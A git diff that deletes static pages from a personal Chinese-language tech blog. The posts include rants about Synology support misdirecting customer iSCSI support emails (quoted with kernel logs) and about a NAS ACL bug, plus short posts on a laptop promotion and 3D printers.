    但是在網站上逛了一下,沒有看到半台 i5/256G 以上的規格啊!!

    - -

    那這個優惠是怎樣啦!?

    - -

     

    - -

    主機,Surface_Pro_3,微軟旗艦館_-_燦坤快3網路旗艦店-全台3小時快速到貨_-_Goo_2016-01-18_15-46-07

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-8f-be-e5-9c-a8-e7-9a-84-e8-a8-98-e8-80-85-e5-95-8a-ef-bc-8c-e7-b4-a0-e8-b3-aa-e8-83-bd-e9-ab-98-e4-b8-80-e9-bb-9e-e5-97-8e-ef-bc-9f-ef-bc-9f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-8f-be-e5-9c-a8-e7-9a-84-e8-a8-98-e8-80-85-e5-95-8a-ef-bc-8c-e7-b4-a0-e8-b3-aa-e8-83-bd-e9-ab-98-e4-b8-80-e9-bb-9e-e5-97-8e-ef-bc-9f-ef-bc-9f/index.html deleted file mode 100644 index 3fe585c2..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-8f-be-e5-9c-a8-e7-9a-84-e8-a8-98-e8-80-85-e5-95-8a-ef-bc-8c-e7-b4-a0-e8-b3-aa-e8-83-bd-e9-ab-98-e4-b8-80-e9-bb-9e-e5-97-8e-ef-bc-9f-ef-bc-9f/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [雜念]現在的記者啊,素質能高一點嗎?? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-94-9f-e6-b4-bb-e5-b8-82-e9-9b-86-e5-a5-bd-e5-ba-b7-e9-9b-bb-e5-ad-90-e5-a0-b1-e7-9a-84-division-zero-e9-8c-af-e8-aa-a4/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-94-9f-e6-b4-bb-e5-b8-82-e9-9b-86-e5-a5-bd-e5-ba-b7-e9-9b-bb-e5-ad-90-e5-a0-b1-e7-9a-84-division-zero-e9-8c-af-e8-aa-a4/index.html deleted file mode 100644 index 0360364a..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-94-9f-e6-b4-bb-e5-b8-82-e9-9b-86-e5-a5-bd-e5-ba-b7-e9-9b-bb-e5-ad-90-e5-a0-b1-e7-9a-84-division-zero-e9-8c-af-e8-aa-a4/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [雜念] 生活市集 好康電子報的 Division by Zero 錯誤 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-94-a8-3d-e5-8d-b0-e8-a1-a8-e6-a9-9f-e5-8d-b0-e5-87-ba3d-e5-8d-b0-e8-a1-a8-e6-a9-9f-e9-9b-b6-e4-bb-b6-ef-bc-9f-ef-bc-9f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-94-a8-3d-e5-8d-b0-e8-a1-a8-e6-a9-9f-e5-8d-b0-e5-87-ba3d-e5-8d-b0-e8-a1-a8-e6-a9-9f-e9-9b-b6-e4-bb-b6-ef-bc-9f-ef-bc-9f/index.html deleted file mode 100644 index 83087040..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-94-a8-3d-e5-8d-b0-e8-a1-a8-e6-a9-9f-e5-8d-b0-e5-87-ba3d-e5-8d-b0-e8-a1-a8-e6-a9-9f-e9-9b-b6-e4-bb-b6-ef-bc-9f-ef-bc-9f/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [雜念] 用 3D印表機印出3D印表機零件?? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 用 3D印表機印出3D印表機零件??

    -
    - - - 2015-04-10 - - - - - - - - - 其他 - - - - - -
    - - -

    剛剛不小心晃到某個網頁在介紹3D印表機

    - -

    看著看著突然想到,有沒有可能那一天可以用3D印表機去列印出3D印表機?

    - -

    有點像是用機器人去生產機器人的概念?

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-e7-a7-91-e6-8a-80-synology-e7-9a-84support-e5-ae-a2-e6-9c-8d-e4-ba-ba-e5-93-a1-e8-ab-8b-e4-b8-8d-e8-a6-81-e5-86-8d-e7-8a-af-e4-b8-80-e6-a8-a3-e7-9a-84/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-e7-a7-91-e6-8a-80-synology-e7-9a-84support-e5-ae-a2-e6-9c-8d-e4-ba-ba-e5-93-a1-e8-ab-8b-e4-b8-8d-e8-a6-81-e5-86-8d-e7-8a-af-e4-b8-80-e6-a8-a3-e7-9a-84/index.html deleted file mode 100644 index 17680932..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-e7-a7-91-e6-8a-80-synology-e7-9a-84support-e5-ae-a2-e6-9c-8d-e4-ba-ba-e5-93-a1-e8-ab-8b-e4-b8-8d-e8-a6-81-e5-86-8d-e7-8a-af-e4-b8-80-e6-a8-a3-e7-9a-84/index.html +++ /dev/null @@ -1,1809 +0,0 @@ - - - - - - - - - - [雜念] 群暉科技 synology 的Support 客服人員 請不要再犯一樣的錯誤了,好嗎? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 群暉科技 synology 的Support 客服人員 請不要再犯一樣的錯誤了,好嗎?

    -
    - - - 2013-05-06 - - - - - - - - - 其他 - - - - - -
    - - -

    update: 群暉客服來信表示,希望拿掉信件中的客戶聯絡EMAIL、電話、機器序號等資訊。所以,就拿掉了..

    - -

    大概是去年五月份左右吧,某一天我突然收到群暉的技術支援發的信件。

    - -

    內容如下 -> Fwd: Synology Online Support #124653: [DS1010+ DSM 3.2-1955] [sameera] -> -> -> Synology Technical Support <support@synology.com> -> -> -> Hi Eric, -> -> -> Sorry to trouble -> -> Support need your expertise for this inquiry: -> -> -> [Environment] -> -> -> Win2000/Win7 -> -> Multiple Sessions(iSCSI) -> -> -> [Symptom] -> -> -> A customer who uses multiple sessions from initiators to connect the same iSCSI target at the same time. Neither did he operate such function in VMFS nor OCFS environment, thus the volume had corrupted in the end. -> -> -> Is there any chance to get back the customer’s data? -> -> -> [Kernel Log] or [SSH remote] -> -> -> In attachment. -> -> -> Look forward to your advise. Thanks! -> -> -> Sincerely, -> -> Antoine Yang -> -> -> ———- Forwarded message ———- -> -> From: <> -> -> Date: Thu, May 17, 2012 at 2:07 PM -> -> Subject: Synology Online Support #124653: [DS1010+ DSM 3.2-1955] [sameera] -> -> To: support@synology.com -> ->

    -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> Problem Explanation: -> -> Dear Sir,this is to inform that one of our client using nas for iSCSI target with enable multiple seasons to his data backups. now he can not Access to the targets partition after restart the client machine and he gave the error massage i have given below for your kind consideration please give me solution to update him. he need his data recovery.
    -> -> -> Problem Reproduce Steps: -> -> Updated to DSM 4.0 and get debug.dat file
    -> ->   -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    Product Information/QuestionPersonal Information
    -> -> -> Product: -> -> DS1010+ -> -> -> Type of Customer: -> -> Distributor
    -> -> -> Product Version: -> -> DSM 3.2-1955 -> -> -> Company Name: -> -> Active Solution
    -> -> -> Product Serial Number: -> -> -> -> -> Full Name: -> ->
    -> -> -> Type of Usage: -> -> For Business Use -> -> -> Job Title: -> -> System Engineer
    -> -> -> Hard Drive Model: -> -> -> -> -> E-mail: -> ->  
    -> -> -> Printer Model: -> -> -> -> -> Address: -> ->
    -> -> -> Language: -> -> English, -> -> -> Location: -> -> Asia & Oceania / Sri Lanka
    -> -> -> Client Operating System: -> -> Windows 2000, Windows 7, -> -> -> Telephone: -> ->
    -> -> -> LAN Setting: -> -> Static IP -> -> -> Fax: -> ->
    -> -> -> Type of Message: -> -> Need Technical Support
    -> ->
    -> ->
    -> -> Previous support id reported by the same email or serial: -> -> 81415, 81836, 93625, 93829, 113967, 113972 -> -> ->   - 

    - -

    嗯哼,也就是一般技術支援的信件內容啊,有啥奇怪的??

    - -

    重點是,這封信件根本就不是我發出的技術支援申請啊!

    - -

    一開始我沒當一回事,想說他們自己搞錯了,應該會發現吧

    - -

    結果三天後,又發了一封信來跟我確認問題是否已經解決。

    - -

    這次我受不了了,所以有回信給他們說這不是我發出的信件!

    - -

    我回信後隔天,群暉的人回信致歉了,想說事情告一段落了。

    - -

    結果,5/31 又來一次,這次是不同的客戶反應的問題。 -> Dear Eric, -> -> -> User’s respond does not seem useful. -> -> However we ask user to replace the HDD and also try with spare HDD to see if same issue. -> -> -> In the meantime could we ask for QC’s assistant to test in raid 6 use one LUN with 2 VMware ESX 4.1 Servers as replication destination with the software Veeam? -> -> -> Below is user’s response, please allow me to fully quote it: -> -> -> “1. From which exact DS version the performance drop? -> -> -> I can’t recall exactly what the build Nr. of the first available 4.0 DSM was, but i’m sure, it was the very first one which became available for the DS411. Since then i have checked all available versions, upgraded to all of them one after another and the issue was there with every one of them. I hope this covers your question. -> -> 2. How is the capacity usage (used/available) of block LUN used by VMFS. – I have tested with many scenarios, it doesn’t matter if the LUN is empty or if it is almost full. -> -> -> I’m not sure if it’s the VMFS performance issue or just lvm block LUN on raid level 6. -> -> ->     Could you turn off the DS, take out all original HDD and obtain another 1 spare HDD to place on DS to install for block level ISCSI and see if same issue? – I can only try that some days or weeks later i’m afraid. Is this absolutely neccessary? How is it going to be representative since one HDD is not going to be the same as RAID6. -> -> 3. The above will also clarify the below: -> -> /dev/sdd is abnormal in Reallocated_Sector_Ct field with RAW_VALUE 118 -> -> -> 5 Reallocated_Sector_Ct   0x0033   194   194   140    Pre-fail  Always       -       118 -> -> -> It means that 118 bad sectors have mapped to reserved sectors by HDD firmware. -> -> -> I’m not sure if it’s the root cause result to bad write performance on lvm block LUN of raid 6. -> -> -> Does this mean that the 4th Disk has some bad sectors? I have another 2 Disks of the same type which i use as external backup destinations, maybe i could take one of them to replace the „bad one”. If it’s going to help you. -> -> -> “ -> -> Thank you. -> -> -> Best Regards -> -> Jim Cheng -> -> -> On Wed, May 30, 2012 at 5:39 PM, <> wrote: -> -> -> Dear Jim -> -> -> i answer your questions in the body of your mail. -> -> ->   -> -> -> From: Synology Technical Support [mailto:support@synology.com] -> -> Sent: Tuesday, May 29, 2012 9:23 AM -> -> To: -> -> Subject: Re: Synology Online Support #125527: [DS411 DSM 4.0-2228] [balazs.eckert] -> -> -> Dear , -> -> -> Sorry about the wait. -> -> -> We may need more information. -> -> 1. From which exact DS version the performance drop? -> -> -> I can’t recall exactly what the build Nr. of the first available 4.0 DSM was, but i’m sure, it was the very first one which became available for the DS411. Since then i have checked all available versions, upgraded to all of them one after another and the issue was there with every one of them. I hope this covers your question. -> -> 2. How is the capacity usage (used/available) of block LUN used by VMFS. – I have tested with many scenarios, it doesn’t matter if the LUN is empty or if it is almost full. -> -> -> I’m not sure if it’s the VMFS performance issue or just lvm block LUN on raid level 6. -> -> ->     Could you turn off the DS, take out all original HDD and obtain another 1 spare HDD to place on DS to install for block level ISCSI and see if same issue? – I can only try that some days or weeks later i’m afraid. Is this absolutely neccessary? How is it going to be representative since one HDD is not going to be the same as RAID6. -> -> -> 3. The above will also clarify the below: -> -> /dev/sdd is abnormal in Reallocated_Sector_Ct field with RAW_VALUE 118 -> -> -> 5 Reallocated_Sector_Ct   0x0033   194   194   140    Pre-fail  Always       -       118 -> -> -> It means that 118 bad sectors have mapped to reserved sectors by HDD firmware. -> -> -> I’m not sure if it’s the root cause result to bad write performance on lvm block LUN of raid 6. -> -> -> Does this mean that the 4th Disk has some bad sectors? I have another 2 Disks of the same type which i use as external backup destinations, maybe i could take one of them to replace the „bad one”. If it’s going to help you. -> -> Thank you. -> -> -> Best Regards -> -> Jim Cheng -> -> -> On Mon, May 28, 2012 at 9:30 AM, Synology Technical Support <support@synology.com> wrote: -> -> -> Dear Eckert, -> -> -> Thank you for waiting. -> -> -> We have pass the information to our developer for further advice. -> -> Once any news we will update you as soon as possible. -> -> -> Thank you. -> -> -> Best Regards -> -> Jim Cheng -> -> -> On Wed, May 23, 2012 at 5:09 PM,  <> wrote: -> -> -> Dear Jim, -> -> -> int he DS411 there are 4 Western Digital 2TB WD20EARS-00MVWB0 hard drives arranged in 1 SHR array, with 2 drives fail tolerance. I think in this configuration there is no possibility to try something with a spare HDD, since all 4 drives are already parts of the one array that exists. We have used exactly the same configuration with the previous Firmware, where the speeds has been in the 35-40 MB range for the block based LUNs. -> -> -> The actual LUNs used for the tests are: -> -> ->   -> -> -> ESX -> -> -> ESXblock -> -> -> Backup -> -> -> Backupblock -> -> ->   -> -> -> i hope i could help you to clarify the situation -> -> -> if you need more information, or maybe a remote session please let me know! -> -> -> regards -> -> ->   -> -> -> From: Synology Technical Support [mailto:support@synology.com] -> -> Sent: Wednesday, May 23, 2012 10:06 AM -> -> To: -> -> Subject: Re: Synology Online Support #125527: [DS411 DSM 4.0-2228] [balazs.eckert] -> -> -> Dear Balázs, -> -> -> may I ask which LUN and HDD do you use in the test? -> -> If there is a spare HDD, could you try see if same issue? -> -> -> In the meantime, could you please let us know the approximate speed in DSM3.2 and if you could obtain a kernel log for us to check: -> -> -> Please send us a copy of your kernel log, the instructions have been mentioned in below. The Kernel log is a technical log file which can give us more technical information about your system -> -> -> [DSM3.0-1134 and above] -> -> 1. Login Management UI -> -> 2. You can see the similar link http://192.168.xx.xx:5000/webman/index.cgi -> -> 3. Add ?diagnose=debug to the link, like http://192.168.x.xx:5000/webman/index.cgi?diagnose=debug -> -> 4. Press “Enter”, then the file can be downloaded. -> -> -> Thank you. -> -> -> Best Regards -> -> Jim Cheng -> -> -> On Tue, May 22, 2012 at 4:24 PM, <> wrote: -> ->

    -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> Problem Explanation: -> -> After i upgraded to DSM 4.0 i have problems with iSCSI performance. I use one LUN with 2 VMware ESX 4.1 Servers as replication destination with the software Veeam. Prior to the upgrade i achieved “normal” write rates to the 1 TB block based LUN. With DSM 4.0 however the write speed seems to be very limited, also read rate is not the best (or as it was with DSM 3.2). The volume is formatted as VMFS 3.46. When i create another LUN, this time a file based one (no thin provisioning) the write speed seems to be “normal” again, for a file based LUN.Read and write speeds with ESX server are as following: -> -> block based LUN read: 33 MB/sec -> -> block based LUN write: 6 MB/sec -> -> file based LUN read: 36 MB/sec -> -> file based LUN write: 39 MB/secFurthermore i detected another similar problem: when i use a disk based LUN formatted as NTFS on a Windows 2003 R2 server the write speeds also seem not to be very good. I did another test with a file based and a block based LUN:Read and write speeds with Windows server 2003 R2, NTFS: -> -> block based LUN read: 21 MB/sec -> -> block based LUN write: 10 MB/sec -> -> file based LUN read: 27 MB/sec -> -> file based LUN write: 8-10 MB/secMaybe write speeds are non represantive, because Windows caches write operations. I could do another test with my PC via total commander, where i can disable caching. -> -> -> With DSM 3.2 i had no problems with iSCSI, all speeds seemed to be normal. -> -> -> Thank you for your help. -> -> regards
    -> -> -> Problem Reproduce Steps: -> ->
    -> ->   -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    Product Information/QuestionPersonal Information
    -> -> -> Product: -> -> DS411 -> -> -> Type of Customer: -> -> End User
    -> -> -> Product Version: -> -> DSM 4.0-2228 -> -> -> Company Name: -> ->
    -> -> -> Product Serial Number: -> -> -> -> -> Full Name: -> ->
    -> -> -> Type of Usage: -> -> For Business Use -> -> -> Job Title: -> -> IT manager
    -> -> -> Hard Drive Model: -> -> Western Digital 2TB WD20EARS-00MVWB0 -> -> -> E-mail: -> ->  
    -> -> -> Printer Model: -> -> -> -> -> Address: -> -> Szeder u. 5.
    -> -> -> Language: -> -> Deutsch, English, Magyar, -> -> -> Location: -> -> Europe & Russia / Hungary
    -> -> -> Client Operating System: -> -> Windows 7, -> -> -> Telephone: -> ->  
    -> -> -> LAN Setting: -> -> Static IP -> -> -> Fax: -> ->  
    -> -> -> Type of Message: -> -> Need Technical Support
    -> ->
    -> ->
    -> ->   - 

    - -

    再次回覆給群暉說你們回錯信件了!

    - -

    6/4才又收到信件說抱歉。然後,6/18我又收到這種信件了。

    - -

    接下來總算都沒收到類似的郵件,我也就慢慢忘了這個問題。

    - -

    直到上禮拜,我又再次收到了這樣的郵件。 -> Hi, Eric -> -> -> Sorry to disturb. Support needs your expertise for this issue. -> -> -> **[Environment] -> -> **DSM4.2-3211 -> -> RS2212RP+ -> -> -> **[Symptom] -> -> **The capacity of the iSCSI LUN can’t be released even if the user remove the LUN and Target. -> -> From the log, there’re many connection error for the iSCSI but could it be the reason to cause the system fail to release the capacity? -> -> -> Apr  7 14:24:35 kernel: [6202392.886215] iSCSI: Login negotiation failed from [192.168.1.14] -> -> Apr  7 14:24:35 kernel: [6202392.892396] Unsupported iSCSI IETF Pre-RFC Revision, version Min/Max 0x0a/0x32, rejecting login. -> -> Apr  7 14:24:35 kernel: [6202392.901512] iSCSI: Login negotiation failed from [192.168.1.14] -> -> Apr  7 14:24:40 kernel: [6202398.192167] rx_data() returned an error. -> -> Apr  7 14:24:40 kernel: [6202398.196311] iSCSI: Login negotiation failed from [192.168.1.14] -> -> Apr  7 14:25:34 cups-lpd[19733]: Unable to get client address - Transport endpoint is not connected -> -> Apr  7 14:25:34 kernel: [6202451.377927] rx_data() returned an error. -> -> Apr  7 14:25:34 kernel: [6202451.382035] iSCSI: Login negotiation failed from [192.168.1.14] -> -> Apr  7 21:48:16 kernel: [6229002.224141] iSCSI: Client [iqn.1991-05.com.microsoft:data1.marketmakers.co.uk] logged out -> -> -> Could you help to look into the problem? -> -> Please let me know if you need remote access. -> -> -> Best Regards -> -> Derek Chung -> -> -> ———- Forwarded message ———- -> -> From: <> -> -> Date: Tue, Apr 30, 2013 at 8:21 PM -> -> Subject: RE: Synology Online Support #196757: [RS2212RP+ DSM 4.2-3202] [itgroup] -> -> To: “support@synology.com” <support@synology.com> -> -> -> Hi Derek, -> -> -> I have updated our NAS to the latest version and checked the volume info and it still appears to have not released the space used for the iSCSI luns that have been deleted so as requested please find the debug file attached. -> -> ->   -> -> -> Regards -> -> -> -> -> -> -> ->   -> -> -> From: Synology Technical Support [mailto:support@synology.com] -> -> Sent: 30 April 2013 11:51 -> -> To: -> -> Subject: Re: Synology Online Support #196757: [RS2212RP+ DSM 4.2-3202] [itgroup] -> -> ->   -> -> -> Hi, -> -> -> Thanks for your inquiry. -> -> -> To investigate this issue, please help us to update the firmware to the DSM4.2-3211 first and then recheck it. -> -> If the problem still persist, to help investigate this issue, may I first please have a copy of your kernel log? -> -> The Kernel log is a technical log file which can give us more detailed information about your system. -> -> Please see the instructions below to retrieve and download the kernel log. -> -> -> 1. Log into the DiskStation Manager as admin. -> -> 2. The URL will look similar to http://192.168.1.xxx:5000/webman/index.cgi -> -> 3. Add ?diagnose=debug to the URL so that- http://192.168.1.xxx:5000/webman/index.cgi?diagnose=debug -> -> 4. Press Enter to save the debug.dat file. -> -> -> Please feel free to contact us again if you have further questions or suggestions. -> -> -> Best Regards -> -> Derek Chung -> -> -> On Thu, Apr 25, 2013 at 7:32 PM,  <> wrote: -> -> -> Hi Derek, -> -> -> Cloud station was installed but wasn’t actively being used so I have uninstalled it and chose not to keep any existing settings or files however the volume manager still doesn’t appear to be showing the correct amount of free space that I would expect after removing the LUN’s. -> -> ->   -> -> -> If you could advise what to check next that would be appreciated. -> -> ->   -> -> -> Regards -> -> ->   -> -> ->   -> -> -> From: Synology Technical Support [mailto:support@synology.com] -> -> Sent: 25 April 2013 11:58 -> -> To: IT Group -> -> Subject: Re: Synology Online Support #196757: [RS2212RP+ DSM 4.2-3202] [itgroup] -> -> ->   -> -> -> Hi, -> -> -> Thanks for your inquiry. -> -> -> May I know that did you install the Cloud Station and running it on your NAS? -> -> If so , as we know , since it supports version control, the actual size would be at least twice of the Cloud Station shared folders. -> -> -> For space saving purpose, please go to Cloud Station > Settings to decrease max. versions. If you would like to uninstall this package, please uninstall the database or the space occupied by versions will not be released. -> -> -> Please feel free to contact us again if you have further questions or suggestions. -> -> -> Best Regards -> -> Derek Chung -> -> -> On Mon, Apr 22, 2013 at 10:59 PM, <> wrote: -> ->

    -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> Problem Explanation: -> -> I installed 6 disks in my NAS and created 2 volumes on them, then created a test iSCSI LUN on each volume however after testing and copying files to the LUN’s I have deleted them from the NAS and deleted the target too however from what I can tell the space that was being used hasn’t been released and it still showing as being used in the volume view despite there no longer being any LUN’s or Targets.Is there any way to free this space up as it is needed for other usage but I can’t see any menu to do this from within the NAS. I have tried rebooting the NAS but this hasn’t released any of the space.
    -> -> -> Problem Reproduce Steps: -> ->
    -> -> -> Related hardware: -> -> Hard Drive: 
    -> ->   -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    Product Information/QuestionPersonal Information
    -> -> -> Product: -> -> RS2212RP+ -> -> -> Type of Customer: -> -> End User
    -> -> -> Product Version: -> -> DSM 4.2-3202 -> -> -> Company Name: -> ->
    -> -> -> Product Serial Number: -> ->   -> -> -> Full Name: -> ->  
    -> -> -> Type of Usage: -> -> For Business Use -> -> -> Job Title: -> ->
    -> -> -> E-mail: -> ->   -> -> -> Address: -> ->
    -> -> -> Language: -> -> English, -> -> -> Location: -> -> Europe & Russia / United Kingdom
    -> -> -> Client Operating System: -> -> Windows 7, -> -> -> Telephone: -> ->
    -> -> -> LAN Setting: -> -> Static IP -> -> -> Fax: -> ->
    -> -> -> Type of Message: -> -> Need Technical Support -> -> -> Category: -> -> Storage & iSCSI(iSCSI LUN & Target)
    -> ->
    -> ->
    -> ->   -> -> ->  

    - -

    看來會發錯的郵件,似乎都跟iscsi有關係呢Big Boss

    - -

    我實在很難接受這樣規模的一家公司,可以一而再再而三的發生這種錯誤。

    - -

    不知道能不能用個資法玩玩他們  XD

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-synology-e7-9a-84-e5-ae-a2-e6-9c-8d-e5-95-8a-ef-bc-8c-e7-9c-9f-e7-9a-84-e8-ab-8b-e4-bd-a0-e5-80-91-e5-b0-88-e6-a5-ad-e4-b8-80-e9-bb-9e-e5-a5-bd-e5-97-8e/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-synology-e7-9a-84-e5-ae-a2-e6-9c-8d-e5-95-8a-ef-bc-8c-e7-9c-9f-e7-9a-84-e8-ab-8b-e4-bd-a0-e5-80-91-e5-b0-88-e6-a5-ad-e4-b8-80-e9-bb-9e-e5-a5-bd-e5-97-8e/index.html deleted file mode 100644 index f8f1f0ba..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e7-be-a4-e6-9a-89-synology-e7-9a-84-e5-ae-a2-e6-9c-8d-e5-95-8a-ef-bc-8c-e7-9c-9f-e7-9a-84-e8-ab-8b-e4-bd-a0-e5-80-91-e5-b0-88-e6-a5-ad-e4-b8-80-e9-bb-9e-e5-a5-bd-e5-97-8e/index.html +++ /dev/null @@ -1,515 +0,0 @@ - - - - - - - - - - [雜念] 群暉 Synology 的客服啊,真的請你們專業一點好嗎? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 群暉 Synology 的客服啊,真的請你們專業一點好嗎?

    -
    - - - 2015-05-26 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    上週某天我放假,但是收到工單系統的通知郵件,群暉的NAS 又發生問題了

    - -

    不過因為放假嘛,當然沒有去理他 ,反正公司還有同事在,可以處理

    - -

    - -

    昨天上班後,巡了一遍工單系統,看看有啥特殊狀況,順便了解一下群暉這台 NAS 又怎樣了

    - -

    發現因為網域同步出問題,,所以同事去設定了網域自動更新的功能,結果造成網域內的使用者無法正常開啟共享資料夾

    - -

      -> 最近發現NAS並不會自動更新網域上新增的帳號(有加入網域),所以進到系統檢查發現如附圖處,有一個可以自動更新帳號與群組的設定,在選擇每週每天凌晨00:00自動更新後,系統出現要我輸入帳號密碼的設定,輸入完卻造成網域上的帳號都連線不到這台NAS的共用資料夾,趕快重新加入網域並將備份的環境檔還原。請問這是甚麼原因 - 

    - -

    群暉的網域功能向來都是半殘的狀態,上次也發生過在網域內刪除了某個使用者帳號,如果這個使用者帳號有被設定ACL,那下次再動到這個ACL的時候,就會發生問題

    - -

    假設共享資料夾叫folder ,設定了 acl ,讓 domain user AA,BB,CC 各自擁有讀取、寫入、讀取的權限

    - -

    如果在網域內刪除了 BB這個使用者,然後要在 folder 的 ACL 設定中加入 DD 只有讀取權限時,因為 BB 已經不存在網域內,所以這時候要儲存ACL設定就會發生錯誤

    - -

    然後呢,這個問題也是我測試出來跟群暉說的…一開始群暉的回答是這樣的 -> 從您的log中我們發現到一些訊息: -> -> -> NAS4100 entry.cgi_SYNO.Core.ACL[1].set[13854]: synoacl_ace_from_str.c:127 to id failed: [DOMAIN\BB] -> -> NAS4100 entry.cgi_SYNO.Core.ACL[1].set[13854]: acl.cpp:557 failed to convert acl str[0x1D00] -> -> NAS4100 entry.cgi_SYNO.Core.ACL[1].set[13854]: acl.cpp:742 failed to set acl file property -> -> -> 而有可能與 Time Backup套件有相關連,請您嘗試以下操作: -> -> -> - 請您先暫時停用 Time Backup 的功能 -> -> -> - 重複您在資料夾:管理部–>業務合約 -> -> -> 欲設定的使用者 DOMAIN\BB 的權限 -> -> -> 若狀況還是一樣,煩請您依照以下步驟進行設定,我們將連線到您的 DiskStation 進行檢查: - 

    - -

    雖然這個資料夾沒啟用 time backup 功能,但是至少這個客服有抓log出來看到是 acl 那邊有問題,進而觸發我去檢查ACL設定的想法,最後終於確認是帳號刪除後,NAS沒有同步的狀況

    - -

